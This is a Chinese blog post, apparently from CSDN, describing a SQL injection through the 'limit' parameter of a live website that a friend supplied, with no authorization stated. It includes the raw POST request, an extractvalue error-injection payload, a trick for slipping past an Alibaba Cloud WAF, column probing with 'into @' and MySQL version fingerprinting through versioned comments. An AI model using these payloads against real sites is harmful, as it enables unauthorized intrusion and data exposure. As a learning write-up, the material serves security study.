mysql免费版证明_绕过阿里云waf进行mysql limit注入证明

本文通过实例介绍了如何针对一个存在LIMIT注入的网站进行攻击,包括尝试使用procedure analyse进行报错注入,面对WAF的绕过策略,以及在MySQL版本大于5.6.6时如何探测列数和验证版本号。最终,作者通过实战学习并分享了关于LIMIT注入的技巧和经验。
摘要由CSDN通过智能技术生成

朋友发了我一个站点,来看看吧,是limit注入,不太常见。搞一搞吧。

POST /Member/CompanyApply/lists HTTP/1.1

Host: *

Content-Length: 57

Accept: application/json, text/javascript, */*; q=0.01

Origin: *

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: *

Accept-Language: zh-CN,zh;q=0.8

Cookie: *

Connection: close

type=1&status=&search_val=&start_date=&end_date=&limit=1

存在问题参数:limit,看到这个我就想到limit注入。就怕是幌子

再次尝试输入limit=1和limit=2,2中成功返回了1的所有信息

ok!尝试limit注入,limit注入不太常见,手法挺少的,尝试:

limit=1 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));

8fe21aa3d9fed6138f6fa4d817887bbf.png

貌似有waf。。看来是阿里云。。

我们知道limit注入只能用procedure analyse进行报错注入,可以说是很鸡肋了。

还有waf。

先绕waf吧

首先修改数据包头:

发现还是405

09281107edb1199e696b4da17108cc12.png

继续尝试绕过:

思路:找一个上传图片包 :

8807c335f7a5fcf8403887e7f9cf516a.png

复制粘贴到存在sql注入的数据包中:

c04a6daf3f803ee9b3f7008438a1f3b0.png

如果sql语句是union select x from y limit x未使用order by,我们可以使用union select进行注入探测:

使用1 union select 1

d642f740b799e2981e4fa8260f957e58.png

发现有order by。。。。只能用那两个函数了。。

这里踩了不少坑,一直在纠结为啥出不了数据,后来才知道,mysql版本>5.6.6

这里的问题是很有可能是mysql>5.6

那么还如何证明注入呢?

使用into

limit注入本地测试:

union select x from y order by x limit x (x=limit参数)

union select x from y order by x limit 1,x (x=limit参数)

只有这两种可能了。

因为版本大于5.6.6只能使用另类方法证明是否是sql注入了:

先本地测试下:

查询表,发现是两列数据,id和name字段

49d8914f1c4c95c6fcaa1ddc646ef1f1.png

平常我们探测列数都是order by,其实我们还可以:

使用into @

在limit下利用:

caed3f409fface21cc45f39b9b7e02fc.png

会提示列不同:

46c343f6c84c391f0875321c73d1351b.png

出现了不一样的提示,所以我们的列是2列

如果我们再次加一个@

133ecb0db30cf9a16d0753548d547657.png

就会提示不同列。

实战测试:

正确的列数:

e1c6103c2495025bbf96b9c39743d8d2.png

不正确的列数返回如下:

20e522ca0ba78eec9b21ce56a61af7f1.png

至此我们可以证明出这是个sql注入。最后列数是9

mysql版本号大于5.6.6这是怎么证明的呢?

1/*!50666aaaa*/报错说明版本号>5.6.66

94b60e09f17e5086a1603c1d1a1eb53b.png

输入

56b8b801e2b216afe5d8b4f19a1e1510.png

出现错误,输入1/*!50721aaaa*/

不再报错

59def32c8284d399ac1f2269dc85aee6.png

说明 版本号应该是5.7.21

此次注入经历让我学到了很多,还得多多努力!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值